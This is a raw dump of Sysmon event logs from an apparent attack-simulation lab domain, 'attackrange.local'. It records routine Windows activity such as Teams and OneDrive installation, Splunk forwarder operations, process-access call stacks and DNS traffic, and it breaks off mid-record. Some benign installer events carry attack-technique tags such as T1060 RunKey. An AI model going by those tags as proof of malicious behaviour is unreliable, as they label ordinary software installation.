14:44:25.086{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.086{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.086{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.086{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+37dac|C:\Windows\System32\modernexecserver.dll+37d4f|C:\Windows\System32\modernexecserver.dll+375a6|C:\Windows\System32\modernexecserver.dll+1a1c4|C:\Windows\System32\modernexecserver.dll+3191d|C:\Windows\System32\modernexecserver.dll+32871|C:\Windows\System32\modernexecserver.dll+3278f|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:26.976{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F4A-613B-0C09-00000000F001}3944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 23542300x800000000000000043027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:26.976{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D2CEAAFC68FCF8207F8C771D5C5B9B8D,SHA256=24B62DA82C32248787B9E270ECCF9F808F0BA1558CD09976A87766F8C5CA4455,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:26.914{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F4A-613B-0C09-00000000F001}3944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000013832Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:26.411{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A03BB2CD93AAC2C61B7A9CF87D18D87A,SHA256=F186052C192CE6E75429ACA4EAB737D6F92CF1DF77EAD9AB173A0318EBD1C702,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:26.680{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Teams Installer\Teams.exe2021-09-10 14:44:26.680 11241100x800000000000000043024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:26.461{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Core.dll2021-09-10 14:44:26.461 11241100x800000000000000043023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:26.461{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\imageformats\qjpeg.dll2021-09-10 14:44:26.461 11241100x800000000000000043022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:26.101{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5WinExtras.dll2021-09-10 14:44:26.101 11241100x800000000000000043021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:26.070{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDriveStandaloneUpdater.exe2021-09-10 14:44:26.070 23542300x800000000000000043020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.961{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=88ACA6B3FEA6C9F4F1886D1F72358622,SHA256=86511A14F4F808EE09BA8EA290524AE7FE3F8DA61F84DE9483D513A82545E739,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013833Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:27.458{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F1D4CA536A502EA2B29280782E276475,SHA256=859455A0F2DA9B13699D76D61150076D8A7B928A5F37B726521207C025217EAC,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000043034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1060,RunKeySetValue2021-09-10 14:44:27.867{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\TeamsMachineInstaller%%ProgramFiles%%\Teams Installer\Teams.exe --checkInstall --source=PROPLUS 254200x800000000000000043033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10992021-09-10 14:44:27.820{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\Program Files (x86)\Teams Installer\Teams.exe2021-01-28 01:47:10.0002021-09-10 14:44:26.680 23542300x800000000000000043032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:27.711{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=527F08609D88693045C40C7BB3D22101,SHA256=E5033C490D60883E7AA0E4520CA1EA1FDF457A779D4D264DEA9AE0BDAA694633,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:27.664{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Gui.dll2021-09-10 14:44:27.664 11241100x800000000000000043030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:27.430{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\imageformats\qsvg.dll2021-09-10 14:44:27.430 11241100x800000000000000043029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:26.992{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5DBus.dll2021-09-10 14:44:26.992 23542300x800000000000000013834Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:28.474{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=28A7C2E480D2B42E129CC15A57CE9419,SHA256=5483BB5D6764BA59F7F152FD0BBFD40CE741CB3641957C3493BF3343382D8EFA,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.961{7BD73061-6D0B-613B-7F06-00000000F001}36603632C:\Windows\system32\csrss.exe{7BD73061-6F4C-613B-0D09-00000000F001}3480C:\Windows\syswow64\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 23542300x800000000000000043052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.945{7BD73061-6F25-613B-3208-00000000F001}5700NT AUTHORITY\NETWORK SERVICEC:\Windows\system32\sppsvc.exeC:\Windows\System32\spp\store\2.0\tokens.dat.bakMD5=3968C7DB1044E8F70C4BB3B1626346B9,SHA256=0DF4577FC767314919103E436A08FA99A505E9C6C43F8FF3311C97B1FBE93F2F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 11241100x800000000000000043051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:28.945{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Extras\qtquickextrasplugin.dll2021-09-10 14:44:28.945 10341000x800000000000000043050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.773{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.773{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.742{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.742{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.742{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F4C-613B-0D09-00000000F001}3480C:\Windows\syswow64\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.742{7BD73061-6E8E-613B-1107-00000000F001}41165272C:\Windows\system32\msiexec.exe{7BD73061-6F4C-613B-0D09-00000000F001}3480C:\Windows\syswow64\MsiExec.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Windows\system32\Msi.dll+ba6f5|C:\Windows\system32\Msi.dll+16c8f4|C:\Windows\system32\Msi.dll+16cf6c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000043044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.748{7BD73061-6F4C-613B-0D09-00000000F001}3480C:\Windows\SysWOW64\msiexec.exe5.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)Windows® installerWindows Installer - UnicodeMicrosoft Corporationmsiexec.exeC:\Windows\syswow64\MsiExec.exe -Embedding BA79F9FB934272A33389522D367D3ED3 E Global\MSI0000C:\Windows\SysWOW64\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e72SystemMD5=0BDEAEA7BB4AE7822416CD37EA8EE00D,SHA256=5C188CE4E21FAB002B4D669F91FA19341AB4260F83D798FDAC53229D675DB6BA,IMPHASH=B4730776DFCE61DBCD10D002E3D530E1{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\System32\msiexec.exeC:\Windows\system32\msiexec.exe /V 11241100x800000000000000043043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:28.555{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\Qt5Network.dll2021-09-10 14:44:28.555 13241300x800000000000000043042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:28.226{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{731F6BAA-A986-45A4-8936-7C3AAAAA760B}\URLUpdateInfo(Empty) 13241300x800000000000000043041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:28.226{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{731F6BAA-A986-45A4-8936-7C3AAAAA760B}\PublisherMicrosoft Corporation 13241300x800000000000000043040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:28.226{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{731F6BAA-A986-45A4-8936-7C3AAAAA760B}\InstallSourceC:\Program Files\Microsoft Office\root\integration\Addons\ 354300x800000000000000043039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:26.137{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59232-false20.44.10.122-443https 354300x800000000000000043038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.843{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local60219- 354300x800000000000000043037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.810{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local60219- 354300x800000000000000043036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:25.740{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59231-false10.0.1.12-8000- 23542300x800000000000000043035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:28.195{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=79A4554A3F3313A8AF3B16C99FF840EC,SHA256=E2CE4ED0480B248B5E35272108B6DB1A083A8923A10D70D273E784A1B5218BA1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000013836Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:29.489{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=95868267372BDA596F3A653CD3EB44EF,SHA256=365EA6ED264A0DFE0124C5EC93FACEB5873CAFF5A072A916720727B9CC614B78,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000043071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:29.931{7BD73061-6F4D-613B-0E09-00000000F001}5492\SfxCA_2464234C:\Windows\SysWOW64\rundll32.exe 10341000x800000000000000043070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.867{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-6F4D-613B-0E09-00000000F001}5492C:\Windows\SysWOW64\rundll32.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 